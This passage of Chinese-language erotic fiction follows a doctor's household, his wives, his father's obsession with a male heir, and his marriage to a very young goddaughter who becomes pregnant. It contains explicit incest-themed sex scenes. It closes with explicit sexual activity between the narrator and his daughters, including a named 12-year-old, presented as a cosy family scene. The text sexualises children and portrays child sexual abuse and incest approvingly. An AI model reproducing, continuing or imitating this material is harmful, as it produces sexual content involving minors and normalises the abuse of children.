  谁知这下可把萍儿吓坏了。萍儿早上醒来的时候,天色已经大亮了,发现自己老老实实的躺在韩衡的怀里,心里不禁美滋滋的。转念想起昨晚韩衡把自己插的那么疼,又有点咬牙切齿,见韩衡还在熟睡,还微微打着酣,心里跃跃欲试,想看看昨晚那个在自己身子里作怪的东西。于是,萍儿小心翼翼的从被窝里,爬到韩衡的胯下,借着从缝隙中透过的光看到了那个“罪魁祸首”萍儿见这个东西摇头晃脑的,无师自通,伸出小手,刚好握住,嘴里还念念有词。不一会却发现手里的东西突然间开始变大变粗,便出声“威胁”它,刚说的开心的,竟然发现干爹好像要醒了。
  这下可丢人丢大发了,吓得她“啊”的一声叫了出来,慌忙着要爬起身。谁知,一只手没撑住,直接又趴了下去,好死不死的,韩衡的鸡巴一下子钻到萍儿的嘴里了。
  韩衡本来觉得自己已经处理的很好的了,可感觉自己的鸡巴一下子进入到了一个温暖湿润的腔中,而且龟头还传来被硬物擦的疼痛,他顿时明白了,自己一不小心把鸡巴插到了萍儿的嘴里,想起刚才萍儿刚才的话,吓得他赶忙掀开被子,撤身把鸡巴从萍儿的嘴里抽了出来。
  被子下面,萍儿见干爹反映那么快,知道干爹早就醒了,肯定把自己的刚才的动静都听到耳朵里了。心里把自己骂了千遍万遍,回头又开始暗骂韩衡:“臭干爹、死干爹,竟然把鸡巴插我嘴里,臭死了,我恨死他了……”
  虽是腹诽不已,却也没脸起身,只好趴在韩衡的双腿上装死了。
  韩衡觉得自己快要被这丫头整疯了,昨天咬了自己不说,今天一大早又整了这一出,想教训吧,看着她玉体横陈,心下已是不忍。只好再次无奈的摇了摇头,把萍儿抱起来,放正,其间,萍儿一直用手捂着脸,一句话不说,任由韩衡摆弄。
  然后韩衡翻身下床,穿戴衣服。
  等韩衡收拾完了之后,发现萍儿还是刚才那个姿势躺在床上,心里也是大为苦恼,这样下去也不是个事啊。只好再把萍儿的衣物拿过来,准备要帮她把衣服穿上,待会还要去祠堂,不能由着她这样躺着。
  韩衡正准备掀被子,却见萍儿从床上弹身而起,拽过衣服,探脚勾下帐子,双手一闭,就把韩衡拦在外面了。韩衡盯着紧闭的帐子目瞪口呆,哭笑不得,叹了一声:“这丫头……”


第七章 外传三
  韩衡见自己被萍丫头挡在外面,没办法,只好自己一人先出来,掩上房门。
  屋外天色已经大亮,经阳的积雪有了一丝融化的迹象,空气中略微带着一丝的寒意。
  韩衡出了萍儿的院子,信步来到祠堂。谁曾想,家里的人竟然都在,老太爷坐在左手的椅子上,云淡风轻;七叔站在旁边伺候着,倒是一脸的喜意;自己的几个媳妇、女儿也都陪在下首,表情不一而足;了一和尚竟然也在,双目微闭,还是那副高深莫测的死样子。
  林芳一转头看到韩衡,脸上立马积了笑,一拍手掌,“哎哟”一声笑了出来:“别瞎琢磨了,新郎官来了。”
  说话间,已经上前,拖住韩衡的手。
  韩衡见大家都往他脸上看来,老脸一红,轻嗽一声,上前先给老太爷问声好。
  这时,林芳拉了一下韩衡,凑上去轻声问道:“怎么就你一人,新娘子呢?”
  韩衡也低声道:“还在屋里呢,刚想让你去看看。”
  “怎么回事?昨晚不是让你轻点的嘛,怎么还是把那小丫头弄的下不来床?”
  韩衡觉得自己从未这样尴尬过,只好硬着头皮道:“不是,不是。反正你快过去看看吧,顺便教教她。”
  林芳推了韩衡一下,扭头对老太爷说道:“爸,我去看看萍丫头。这小妮子,作了新娘子了,倒是不愿见我们了。”
  “唔。”
  老太爷声音微不可查。
  林芳径自去了,这边老太爷开口道:“赵七,待会萍儿奉过茶之后,让来福备好一桌酒席送到家里,中午用。”
  “好的,老爷,这事我昨儿已经吩咐狗儿去办了。”
  “嗯,有你在,我省心。对了,告诉来福,酒要银杏下的。”
  众人听了明显一愣,赵七小心问道:“老爷,银杏下的酒怕是只剩三坛了……”
  “值什么?萍儿当得起这酒。”
  老太爷的话不容置喙。
  “是。”
  老太爷又扭头对着了一和尚点头道:“大师,我知道你不喜吵闹。但今天是我韩家大喜的日子,还望大师给个薄面。”
  韩衡本以为这和尚会拒绝,谁知了一竟然点头答应了。韩衡大奇,尽管这和尚荤酒不忌,但每日饭菜都是送到他住的小屋子里的,从未和大家共桌,今天可真是太阳打西边出来了。
  这边正商量着,大老远传来林芳的声音:“新娘子来咯。”
  众人回头看时,林芳嬉笑妍妍的走在前面,萍儿被她拉着,一步挪成两步的来到跟前。
  昨日的喜服已经脱下,萍儿今天穿的是一件大红色的洒花棉袄,下面着墨绿色的裤子,登着绣花鞋,羞答答的站在那里,头也不抬。
  此时,老太爷眼睛好像突然明亮起来,了一和尚也睁开眼睛瞥了萍儿一眼,然后又神神在在的把眼睛闭上了。
  初经人事的萍儿,到底是与昨日有些不同,眉目间似有流光闪过,头发高高的盘成一个髻,露出粉嫩的耳朵和雪白的脖子,脸蛋在早晨清冷的空气中,泛着红润润的的光芒。虽是体量尚小,但已有妇人的风情。
  林芳领着萍儿走到祠堂中间,萍儿先是跪下去,对着牌位磕了三个头;然后起身走到老太爷跟前,跪下身去,也是三个头,旁边早有赵七端过一杯茶,萍儿接过,恭恭敬敬的举过头顶,细声道:“爸……爸,请喝茶。”
  老太爷叹了一口气,道:“好,好,好,好孩子,起来吧。”
  俯身亲自把萍儿搀了起来,萍儿见老太爷亲自来搀自己,连忙站起来,道:“爷……爸,我自己起来。”
  然后扶着老太爷坐回位置上。老太爷又连道几个“好”字。
  给老太爷奉完茶,萍儿依次给韩衡和自己的几个“姐姐”——昨天还是自己的姨娘——奉茶。
  韩衡在一旁看着萍丫头来回忙着,心中感慨万千。昨夜之前,这丫头还算是自己的“女儿”就算是在洞房的时候,这丫头都是“干爹、干爹”的叫着,今天一转眼之间,“女儿”变“老婆”了。尽管昨天在床上,韩衡得到了莫大的快乐和满足,但现在看着萍儿娇小的身形,心中还是暗生愧疚。
  是日,韩衡一家人,并着了一和尚、赵七、胖狗,共一十三位,在老太爷的会客厅开了一桌席。虽是家宴,气氛却有些诡异。韩衡看着大老婆沈红面沉如水,二老破李玲目光阴冷,自是心中通透,不过是自己对她们不起,无可奈何,这齐人之福也不是那么好享的。
  只有老太爷兴致却是极高的,与了一和尚酒到杯干,就连陪坐的赵七、胖狗两父子也陪着多喝了几杯。
  萍儿在老太爷的劝说下,竟然喝了三杯酒,之后,已是不胜酒力,软软的靠在韩衡的怀里,韩衡只得半揽着她,匆忙吃完这顿饭。
  书中时光易过,岁月难留。眨眼之间,萍儿作为韩衡妻子的身份,在韩家大院待了大半年了。
  “哎哟,我的祖宗哟,你悠着点。待会老爷看到了,又要骂我了。”
  一个老妈子双手张开,急的跟什么似的,像个老母鸡一样护着一个小姑娘,而那小姑娘正欢快的踢着毽子,容貌俏丽,鼻尖上细细地腻出一丝汗滴,唯一不搭的就是她那挺起来的肚子。
  “王妈,你怕什么啊?衡哥都说了,我现在要多动动的。”
  小姑娘听到王妈把老太爷都搬出来了,有点不痛快,不满的对着王妈说道。
  “少爷是说可以多动动,可也没让你又蹦又跳的啊?你这都五个多月了,可别伤了肚子里的孩子了。前两天,老爷看到你推铁环,已经把我们这几个老家伙都骂了一顿了,我的小祖宗,你就消停会,你看你这汗出的,歇一会吧。”
  萍儿听着王妈絮絮叨叨个没完,加上自己也有些乏了,悻悻的扶着王妈的手在一旁树下的藤椅上半躺了下来。
  “王妈,衡哥去哪了啊?一大早就出门了,这都过了晌午了,怎么还没回来?”
  小姑娘拿起一条丝巾擦拭着脸上的汗水问道。
  王妈端过一盘玻璃盏,里面盛着冰镇的杨梅,道:“河西铁头山下来了群没头发的女人,好像要租咱们家的地盖庙。少爷一大早就过去了,眼瞅着下半晌应该就回来了。”
  萍儿撅着嘴巴道:“这事七叔去做不就好了,衡哥干嘛要亲自过去啊?”
  “还不是因为你个小祖宗啊!老爷说了,这是积德的事,家里的那个又是个和尚,少爷诚心礼佛,保佑你啊……生个大胖小子!”
  王妈边说边伸出手指在萍儿的脸上捻了一下,笑的皱纹都起来了。
  萍儿被王妈的一番话说的粉面含春,低头不依,摇着王妈的撒着娇。王妈无奈笑道:“好啦,好啦!我的姑奶奶,别摇了,老妈子这身子骨哪禁得住你这么揉搓啊。俗话说:圆肚儿男,尖肚儿女。瞧你这圆滚滚的肚子,将来肯定是个带把的!”
  萍儿尽管以前大大咧咧,颇有股侠气,但这自从嫁给韩衡之后,已经略有收敛,加上这半年来又怀着身孕,更是生出一丝小家碧玉的气儿。如今听了王妈的话,面上自是羞怯难耐,心中却是美滋滋的了:若是我能给衡哥生个儿子,那也算是报答老爷和衡哥的养育之恩了。想到欢畅处,就连这炎日也不觉得烤人了。
  韩衡心里有些不快,今天这个日头,在这家中消暑是多么的惬意。可昨儿晚上,韩老太爷不知怎么想起来的,临时让韩衡亲自来过问这件事。这事本来赵七本来已经安排妥当了,这样一来,倒又得重新准备。动土可不是件小事,加之又是韩家家主亲自过问,一些东西就得重新打理。韩衡刚反口了几句,老太爷眼睛一瞪,他就没辙了,苦笑着把这事应下来。
  这不,今儿就忙了一上午了。早上出门匆忙,连早饭都没好好的吃完,中午又在那边胡乱对付了一点,不过天炎气热的,倒不是十分的有胃口。事情办完之后,他让随行的人先行回家把事跟老太爷细说,自己偷了几丝闲暇,在镇子里四处晃悠,祛祛心中的闷气。
  刚拐过街角,就听到身后有人在喊他:“少爷,少爷,您留步。”
  在回春镇上,能被叫做少爷的,除了自己怕是没有第二个了。韩衡回过头去,看到胖狗气喘吁吁的小跑过来,“少爷,少爷,可见着你了,这两天也不见你往镇上来。”
  韩衡笑着看着胖狗,道:“来福,你这身板,还能跑得起来?”
  “嘿嘿,这不见着少爷激动的嘛。”
  胖狗略有些腼腆。
  “你也该认真掉掉肉了。我给你开的药都按时吃了没?”
  “有吃,有吃。一天两次,九点、六点各一次。我老婆都给我备着呢。”
  胖狗急忙表示道。
  “药有吃,肉怕是也没少吃吧?”
  韩衡觑着眼,问道。
  “嘿嘿,管不住,管不住。”
  胖狗有点不好意思的挠挠头。
  “小心七叔哪天性子起来,把你嘴给你缝上。”
  韩衡无奈道。
  胖狗陪着笑,过了一会,韩衡问道:“怎么?叫住我干嘛?有好东西要孝敬我的啊?”
  “嘿嘿,还真让少爷猜中了。昨儿家里的小子,在河里弄了几条鲜鱼,我收拾了,已经送到院子里了,还有一瓶枫树下的酒。天热,喝点祛暑。”
  “不错,不错,倒是好久没尝你的手艺了。你这老小子,当初和我一起学医的时候,没见你这么上心过,就会弄这些玩意儿。”
  “唉……有少爷你在前面,我学的再好也没用啊。”
  胖狗叹了口气说,“再说,我也不喜欢那些草啊花的,西医的消毒水又闻不惯,还是当厨子好,我喜欢……少爷,这些话可别跟我爹说啊,不然他肯定又拿着棍子要揍我了。”
  胖狗说着突然住了嘴,像是想起什么来了,眉头皱着叮嘱到。
  韩衡听了,“哈哈”大笑,拍着胖狗的肩膀道:“你就放心吧,咱们俩还用的着说这些。”
  说完抬腿就走,边走边回头道:“还有其他事没有,没有我可就走了。”
  “少爷,你别急啊。”
  胖狗赶上几步,从兜里掏出一张纸,压低声音道:“这是前天老爷送来的方子,要我煎上几副,送到院子里给萍儿。你看看?”
  韩衡听着一愣,疑惑着接过方子,问道:“我爸下的方子?”
  “不清楚,这不拿来给你看看嘛?”
  “紫苏三钱、艾叶一钱……嗯,这倒是我爸的手笔。”
  说了一句之后便不再继续,静神看那张方子,良久,才抬头说一句:“方子没错,你照着煎吧。不过送去的时候,要七成热,太凉太热都不行。”
  “招啊!”
  胖狗一拍大腿,“我家老头子送来的时候也这么说。”
  “唔。”
  韩衡点了点头,“我爸肯定是要嘱咐的,他用药那么谨慎。”
  胖狗等了一会,见韩衡沉思着不说话,便问道:“那我就照着煎了?”
  “行。”
  韩衡随口答道,突然扭头看着胖狗,目光灼灼,“你小子,难道还觉得我爸送来的方子有问题?”
  胖狗讪讪着道:“哪能啊……我这不是担心是那个和尚的方子嘛?”
  韩衡苦笑着说道:“别瞎疑心了,方子是好方子,怕是我都开不出这么好的方子,你就照着做吧。”
  “好咧,那我先去忙啦?”
  “嗯。”
  韩衡答应着,走了几步又回头道:“对了,来福,家里有人送来一个大的冰柜,你回头拉来用吧。”
  胖狗听了,一脸的喜色,突然又扭捏起来:“那多不好意思,还是放院子里用吧。”
  “行了,你别跟我整这一出。家里还有个小的冰箱,叫你去拉你就去,哪这么多废话。”
  韩衡装作生气的模样。
  “行!我待会就和儿子过去。嘿嘿!”
  胖狗兴奋的直搓手。
  韩衡经胖狗这么一闹,身上有些乏了,折身向北,就准备回家了。
  在路上,韩衡低头想到:爸还真用心啊,功力倒是都还在,只是这样怕又招人言了。但又想到他对萍儿的疼爱,还真的无可奈何。


第八章 外传 正文
  暑去秋来,残秋将至。
  入夜,林芳的院子。
  “啊……嗯……该死的冤家,你轻点……”
  屋内传来阵阵喘息声。
  韩衡肩上扛着林芳的双腿,下身有力的撞击着林芳的屁股。林芳秀发披散,双眼迷离,死死的咬住嘴唇,一副不堪挞伐的模样。
  “萍丫头,这几天就要生了……哎呀……你慢点……你不在医院看着她……小心……小心爹又找你麻烦……”
  林芳一句话断断续续好容易说完。
  韩衡喘着粗气回道:“我都在医院看了一个星期了,我心里有数,萍儿得后日才能生呢。”
  虽是说着话,身下却一直没停,粗大的鸡巴在林芳的小屄里进进出出,干得林芳一直娇喘不停。
  林芳也只是嘴上这么一说,但看她那心神俱醉的模样,怕是巴不得韩衡能天天过来。院子里四个女人看着一个男人,虽说这大半年萍儿大着肚子,那还有另外两个女人呢,都是吃人不吐骨头的,哪能都让她占了巧宗;再说,尽管衡哥的身体还好,可毕竟是四十好几的人了,也该保养惜福,所以难得的有这么一次痛快的机会,她可想吃个痛快呢。
  韩衡又猛地抽动了几下,终究是有些乏了,毕竟是四十几岁的人了。林芳也感觉到了,便体贴道:“衡哥,歇一会吧,都老夫老妻了,还那么冲!”
  声音带着媚气与甜腻。
  韩衡闻言,将林芳的双腿从肩上放了下去。林芳因为双腿举的时间有点长,落在床上的时候还有一丝的颤抖,但还没落实,就又缠上了韩衡的身体。韩衡俯下身去,吻上林芳的香唇,林芳伸出双臂搂住他的脖子,二人忘情的亲吻。
  良久,唇分,韩衡抱着林芳翻了半身,二人面对面侧躺在床上,韩衡的鸡巴还硬挺挺的塞在林芳的小屄内。林芳被韩衡一通亲吻,微微有些气喘,媚眼如丝,道:“衡哥,萍丫头在床上是不是……”
  林芳欲言又止。
  “什么?”
  韩衡有点疑惑。
  “哎呀,就是……就是萍丫头在床上是不是也像我这样骚……啊?”
  林芳一口气说完,还对韩衡抛了个媚眼。
  韩衡受了这个刺激,鸡巴好像又硬了一圈,当下抱着林芳开始缓缓抽动起来,道:“萍儿还是个小丫头呢,她在床上可害羞了,哪像你啊,什么都敢说。”
  “啊……那还不是……还不是因为你啊……每次都弄的人家发浪……”
  林芳觉得那种销魂蚀骨的滋味又来了。
  韩衡继续道:“说来也怪,看着萍儿平时无法无天的,在床上可害羞的跟个小媳妇是的。”
  “嘻嘻,她不就是你的小媳妇嘛。”
  “洞房那天,她激动的时候,还管我叫干爹的呢。”
  “干爹?”
  林芳一愣,好像身子骨里突然通了一股电流,激灵灵的打了个冷颤,当下抱着韩衡开始主动套弄起韩衡的鸡巴了,嘴里大叫道:“干爹,啊……你干死女儿了……你干死女儿了……”
  韩衡被林芳的这一下子搞的有点摸不着头脑,但听到她声声叫自己干爹,放佛又回到了和萍儿洞房那天,顿时血液直接涌上脑袋,一只手死死的抱住林芳的头,一只手按在林芳的屁股上,配合着林芳的动作,加速抽插。
  这边,林芳还在大叫:“干爹啊……不行了……啊……爸爸……爸爸……你弄死女儿了……要命啊……”
  韩衡越动越快,都有点红眼了,嘴里也发出一声声低吼,翻身把林芳压在身底,扛起她的两条腿,不管不顾,死命的撞击着林芳的胯部。
  林芳被韩衡干的有点意识模糊了,只知道自己叫的越大声越淫荡,那种快感就越大,于是什么话都脱口而出:“爸爸……芳儿的亲爸爸……干死我吧,干死你的闺女吧!”
  韩衡觉得自己的鸡巴愈发涨了,渐渐有点把持不住,但林芳更是不堪,小屄里开始抽搐起来,一股股的淫液从屄心深处喷涌而出,打在韩衡的龟头上。
  “爸爸……爹……亲爷爷……芳儿不行了……淑慧的爸爸,干死淑慧了……干死你的闺女淑慧了……啊……”
  一声悠长的声音从林芳的嘴里蹦出,林芳像是被掐住脖子一样,后仰着头,出气没有进气长,身体也完全僵住。
  韩衡被林芳最后的一声“淑慧”直接刺激到边缘,抓住林芳的屁股狠狠的插了几下,鸡巴抵在林芳的小屄深处开始疯狂喷射。
  “呼……”
  韩衡长吁了一口气,从林芳的身上翻了下来,林芳也在匀着气息。
  林芳凑过身来,把脑袋放到韩衡湿漉漉的胸口上,腻声道:“衡哥,你好久没有这么凶了。是不是……”
  林芳抿着嘴巴,神秘一笑,靠近韩衡的耳朵小声的续道,“是不是真的想干淑慧啊?”
  韩衡听了脸色大变,怒道:“林芳,你胡说什么!”
  林芳话一出口就后悔了,知道自己有点过了,急忙道:“你看我这嘴。衡哥,衡哥,你别生气嘛!我这也就是开开玩笑的嘛,谁让你把人家刚才弄的那么狠啊,人家还没缓过劲呢。”
  韩衡见林芳低声下气的样子,而且刚刚把她干了个昏天黑地,脸上也不好继续挂着,但心里却是百转千回,叹了口气道:“芳儿,以后别说这种话,娶了萍儿已经让我十分的愧疚了,要是……你是想让我下地狱嘛。总之,以后千万千万不要开这种玩笑了。”
  韩衡一脸的疲色。
  林芳这才知道刚才那句话对韩衡的打击有多大,急忙抱住韩衡,泣道:“衡哥,我错了,我错了。以后再也不会了,我刚才说话没过脑子,你别这样。都怪我们,怪我们没有给你生个儿子,你别这样,衡哥。”
  林芳有点泣不成声。
  韩衡抚着林芳的头发,缓缓道:“芳儿,这事不怪你,我知道你是无心的。只是……只是我心里始终过不了那道坎。萍儿有了之后,我就再也没有和她同房,你现在知道为什么了吧。或许真的像了一和尚说的那样,我活人太多,老天爷罚我命中无子吧。”
  林芳拼命的摇着头,道:“不是的,不是的。要是救人也是罪过,那这老天爷也太不长眼了,你放心,萍丫头这次肯定能给你生个儿子的。”
  韩衡微微摇了摇头,道:“但愿吧,但愿老天爷能放过我。好了,芳儿,睡吧。”
  说完,韩衡便再也不吭声了。
  林芳心里悔的不行,因为她的一句话,让韩衡变得如此的心力交瘁,又让她心疼万分。见韩衡不再说话,林芳也没有说什么,只是紧紧的偎进韩衡的怀里,她要用自己的温柔、体贴来化去这个男人心头上的重担。
  两日光景转瞬而过。“回春”医院的产房外,韩衡正焦急的度着步,在他前四个女儿出生的时候,他都是这种反映;但林芳生淑慧的时候,韩衡似乎都有点麻木了,果然,老天爷送给他的还是一个女儿。其实韩衡一家对韩衡的女儿们都是非常好的,即便是念孙成狂的老太爷对自己的几个孙女也都是发自内心的疼爱;但在韩家传宗接代的压力下,老太爷逼着韩衡都到了一种疯狂的地步。
  韩衡尽管觉得了一和尚的说法有点荒缪,可内心深处却忍不住也希望了一能够一语成谶。此时的他放佛又感受到了等待自己第一个孩子出生是的那种心情,焦急、阴晴不定、患得患失。
  林芳在一旁的座椅上也是不安的等待着,她心里也非常希望萍丫头这次能够生下儿子,为韩家继承香火,可毕竟不像韩衡那样心力交瘁。林芳终于被韩衡转的有些晕了,忍不转口道:“衡哥,你坐着消停一会吧。”
  韩衡停了停,冲林芳摆了摆手,没有说话。林芳泄气的叹了口气,不再说话,这边韩衡却突然开腔了:“芳儿,我爸和沈红她们呢?下午不是还在的吗?”
  林芳扭捏了一下,还是说道:“爸的精神下午已经不大好了,傍晚的时候,实在支持不住,被七叔强拖回去了,爸走的时候说,回家歇一会就过来。爸刚走,大姐她们说不放心要回去陪着爸。”
  林芳小心翼翼的说道。
  韩衡听了,“唔”了一声,两眼直溜溜的盯着手术室的大门,脑子里不知道在想些什么。
  时间一分一秒的划过,韩衡和林芳二人还在产房外面等待着。期间老太爷不停的差人前来,都被韩衡打发回去了,还吩咐一众的家下人都一并回去。韩衡此时已是十分的担心,那种坐立不安的感觉快要把他折磨疯了。病房里的萍丫头是第一次生产,还是这么小的年纪,时间又过去这么久了,从下午三点就开始有反映,到现在已经四个多小时了。因为担心萍儿的年纪太小,不能支持,所以这次选择的是剖腹产,手术是他一手安排的,接生的医生也是他医院中最有经验的,按道理说,短则半个小时,长的一个小时也应该结束了,即便算上前期的准备时间,一个半小时也够了,可现在都四个多小时了。韩衡越想心里越是害怕,都有股冲进产房的冲动了,但他知道,手术中最忌打扰,要是出了什么问题,那可是要让他悔恨一生的。
  正在韩衡焦头烂额的时候,一阵噪杂的声音传过来。
  “我的孙子呢?我的孙子还没出来吗?这臭小子,看他出来了我不打他屁股!”
  韩老太爷驾到。
  韩衡赶忙迎了出去,韩老太爷在七叔的搀扶下疾步走来,韩老太爷尽管面露急色,可双眼中的喜意却是怎么都藏不住。
  韩衡上前扶住韩老太爷,道:“爸,你怎么又来了。我不是叫人回去跟你说了嘛,出生后,第一时间通知你。这外面霜寒露重的,着了凉怎么办啊?”
  韩老太爷将手放在儿子的手中,瞪了他一眼,不满的说道:“这叫什么话,我孙子出生,还不许我过来瞅瞅?你这当爹的也太霸道了吧。破老天的这点寒气就想吓跑老子?没门!哈哈……”
  老太爷豪兴一起,年轻时纵横睥睨的脾气就上来了。
  韩衡见老太爷如此豪兴,只好掩下心中的不安,小心的把老太爷扶到赵七铺好褥子的坐垫上,问道:“沈红她们呢?”
  “哼……”
  老太爷眼皮一翻,冷声道:“我叫她们看家去了,白在这碍我的眼。”
  韩衡见老太爷动了怒气,心下知道沈红她们今天下午的举动已经让老太爷不待见了,当下也不好说什么,只能陪着笑。
  韩老太爷顺了顺气,见韩衡、林芳二人还等在门外,这才皱眉的问道:“萍丫头还没出来?这可不短的时间了。”
  “爸,你别担心,萍丫头年纪这么小,可能生起来比较麻烦吧。”
  韩衡宽慰着老太爷。
  “放你娘的屁!欺负老子不懂西医?就是再麻烦,也没有生四个小时的吧?是不是你的手术方案有问题?”
  老太爷不高兴了。
  “爸,衡哥的医术你又不是不知道,怎么可能有问题啊?”
  林芳见韩衡不好说话,忙替他辩解道。
  韩老太爷也清楚自己儿子的医术,可这都进去四个小时了,怎么都说不过去,当下心里便着急起来,破口大骂:“你个兔崽子,肯定是你的破手术有问题!那会我怎么说来着,不要剖腹产,你小子自己去接生一点问题都没有,偏是你个怂货怕这怕那的,我跟你说,要是老子的萍丫头和孙子出了什么事,我打断你的腿!”
  韩衡本来就烦躁的不行,但又不能让老太爷担心,只好不停的安抚老太爷,旁边的闻声赶来的医生和护士也都过来帮忙劝着韩老太爷,好容易让他稍微安静下来了。
  又过去了五分钟,老太爷焦躁起来,“不行,老子等不了了,我得进去看看!老子的萍丫头肯定被你们这群庸医给医坏了!”
  话音未落,老太爷站起身就要往产房里去,旁边众人赶忙上来拉住他。
  这边正闹着欢呢,产房的门一下子打开了。外面一群人瞬间没了动静,十几双眼睛都盯着从产房走出来的护士。
  蔡护士是“回春”医院最好的妇产科护士了,经历了不少大风大浪,可这一出门就被十几双眼睛盯着看还是有些不自在;更何况,这些人里还有自己的院长和院长的父亲,这二位可都是闻名天下的神医。看着院长和他父亲那殷切的眼神,蔡护士都不知道如何把话说出口了。
  蔡护士小心的斟酌着字句:“尽管手术有点麻烦,但还是有惊无险,大人孩子都平安。”
  老太爷骤闻喜讯,猛的挣开身边拉扯的人,一步跳到蔡护士跟前,先是哈哈大笑了几声,急不可耐的道:“生了?生了!哈哈,我韩家有后了,这破老天还算靠谱,我韩家有后了!我孙子呢?快抱来我看看,可想死我了。几斤重啊?”
  韩老太爷的话像机关枪一样,突突个不停,可蔡护士却面露难色,僵在那里不知该怎么回答,只好求救似的看着韩衡。
  韩衡听到护士的话后,心里一块大石终于落地了,整个人顿感轻松,可蔡护士的这个眼神又把他吓到了,心又提到了嗓子眼,脑海中转了几转,面色已然煞白。
  韩衡强撑着精神,走到老太爷跟前,扶住他道:“爸,母子平安就好了,你也别担心了。天也不早了,你早点回去歇着吧。七叔,扶我爸回去吧。”
  老太爷不干了,冲着韩衡怒道:“放屁!今儿谁都别想拦着我,我一定要看到我孙子。你要累了,你就先回去,别在这晃来晃去,快滚吧!”
  话一说完,不再理会韩衡,扭过头去,一脸的喜色盯着蔡护士。
  被院长父亲这么灼热的目光盯着,蔡护士慢慢低下了头,她实在不知道这话该怎么说,院长一家的事远近皆知,如此可怎么让她说出口啊。
  韩老太爷并不傻,年轻的时候也是一位人物,刚才只是乍得喜讯才兴奋过头了,现在看到蔡护士的光景,心里顿时就凉了,双腿一软就倒在了韩衡的身上,韩衡急忙扶住,焦急的叫道:“爸,爸,你怎么样了?”
  一边扶着老太爷坐到旁边的椅子上,一边探出三根指头,就要给老太爷号脉。
  “啪”老太爷急手打开韩衡的手,艰难的抬起头,冲着蔡护士颤抖的问道:“是男是女?”
  蔡护士刚才见院长父亲几乎晕了过去,已经被吓到了,如今他又这么问,让她实在不好回答,只好又把目光投向了韩衡。
  此时,韩老太爷心里已如明镜一般,看来这次又是个丫头了。静了半响,老太爷仰天大吼一声,其音欲绝,这次算是彻底晕过去了。
  这下一群人可是真的慌了,韩衡尤其乱了阵脚。老太爷年轻时闯过枪林弹雨,身上落下不少的旧患,靠着自己和他医术通神,才熬到现在,要是今天老太爷出了什么三长两短,他韩衡可就真是万死莫辞了。
  韩衡着急之下赶忙给父亲做紧急治疗,一面又着手安排抢救和病房。正当一群人乱作一团的时候,韩老太爷悠悠的醒了过来,众人忙又安静下来,关切的看着老太爷。
  老太爷的目光在一群人身上转了一圈,最后回到韩衡的身上,嘴巴努了努,韩衡赶忙凑过耳朵,只听得老太爷的声音微不可查:“把他撵出韩家!去,把那秃头从我家里撵出去!”
  韩衡连忙掩老太爷的嘴巴,眼睛湿润,几乎带着哭声,道:“爸,你放心吧。咱先治疗,等身子大好了,你想怎么处置他都行。”
  韩老太爷死死抓着韩衡的手,紧紧的盯着他,声音突然提高:“撵出去!”
  三个字放佛用尽了身上最后一丝力气,身子一软又倒在了韩衡的怀里。
  韩衡强忍这泪水,道:“好,好。爸,你别着急,我这就让人把他撵出去。推车呢?推车怎么还没到?”
  最后一句话却是对着周围的人大喊。
  这边正乱着呢,突然韩衡感觉有人在拉他的袖子,回头一看,是之前被自己打发回去的一个小子,韩衡眉头一皱,开口就要训斥他。那人急忙说道:“少爷,少爷,你先别发火。是大师傅叫我来的。”
  说完,从兜里掏出一个香袋,续道,“大师傅让我把这个香袋交给老爷。”
  韩衡眉头皱的更紧了,接过香袋端详了一下,准备随后放在兜里,天大的事也等老爷子过了危险期再说。
  谁知老爷子眼尖,看到了那个香袋,眼睛一亮,挣扎着起来,断断续续道:“快……快……把那个香囊给我……”
  一只手奋力的抓向那个香袋。
  韩衡赶忙把香袋递到老太爷手中,他不知道父亲为何这么紧张这个香袋。老太爷颤抖着手要去解开那个袋子,抖了半天,香袋还是死死的封住,一旁的林芳赶忙走上前来,帮着解开了。
  老太爷从里面拿出一张纸,展开一看,顿时面泛潮红,哑声大喊:“哈哈……我就知道……我就知道……咳,咳……天不灭我韩家,天不灭我韩家啊……”
  话没说完,又是一阵咳嗽。
  韩衡急忙帮老太爷顺气,探头往那纸上瞅了一眼,上面有五个打字:“单凤迎龙凤”“奶奶,奶奶,什么叫做”单凤迎龙凤“啊?”
  12岁的霁儿打断妈妈的话好奇的问道。
  我轻轻瞪了霁儿一眼,道:“奶奶说话,别瞎打岔。”
  霁儿冲着我吐了吐舌头,双手撑在我的胸膛上,开始轻轻的摇着小屁股。
  傍晚家里的一群人被妹妹的话惊到了,我更是愣了好久才缓过神来,继续追问妹妹,可除了“融血丸”三个字,再也问不出什么来了。我心里惶惶不知自处,最后是妈妈出面,安抚了大家,招呼着先吃了晚饭。
  饭后,几个小丫头嚷嚷着要让我告诉她们什么是“融血丸”为此我头疼不已,我只知道这个东西是干嘛用的,但前因后果我也实在是不很清楚。又是妈妈站出来,说:“好了,小丫头们,年纪不大,一个个的好奇心这么重。刚好趁这次机会,我也把我们家过去的事跟大家说一说。”
  几个小丫头欢呼雀跃,就连生性文静的菁儿都是一副兴致勃勃的样子。
  这个点已经是半夜了,美美和霜霜两个年纪较小的丫头已经被送到旁边的房间里呼呼大睡了,菁儿因为大着肚子,由姐姐带去休息了。剩下的几个丫头倒是兴致很高,尤其是莹莹怎么都不肯先睡,最后我只好装作生气的样子,才把这个女儿唬得先去睡了,为此妹妹也只好先陪着莹莹过去了。
  这边,就剩下霁儿、芹儿、兰儿、萍儿、妈妈和我了,之前听妈妈讲那过去的故事的时候,我已经把姐姐和几个丫头逐一送上了高潮,我也射了两次。放在平时,这几个丫头哪禁的了我几次抽插啊,高潮一过便要沉沉睡去,今天倒是个个都精神的狠,央着妈妈讲了一段又一段,幸好明天是周末,倒也不用早起去上学。听故事的时候,几个丫头又玩心大起,一个个掰开自己的嫩嫩的小屄骑上我的身子,套弄着我的大鸡巴,自得其乐起来。
  现在,刚好是轮到霁儿了。我粗大的鸡巴就这样镶在霁儿的小屄里,听到入迷的时候霁儿也会忘了扭屁股了,这不,妈妈的故事刚告一段落,霁儿就又想起来这茬了。
  其实,这种干法最是让我难受,鸡巴老这么挺着,时间久了,总有一股急于发泄的冲动,可几个小丫头的的身子实在是太娇嫩了,我哪里舍得不顾她们的身体,只是自己一味的猛干呢。
  妈妈看着霁儿光洁无毛的小屄,一下下的吞着我的鸡巴,脸上露出慈爱的笑容,说:“霁儿啊,”
  单凤“指的是你妈妈,”
  龙凤“呢就是你爸爸和你小姨了。”
  “哦……那就是说,奶奶生完妈妈之后,又要生爸爸和小姨啦?”
  霁儿恍然大悟。
  “是的啊,我们家霁儿就是聪明!”
  妈妈从我身旁坐起身子,在霁儿的小嘴上亲了一口。
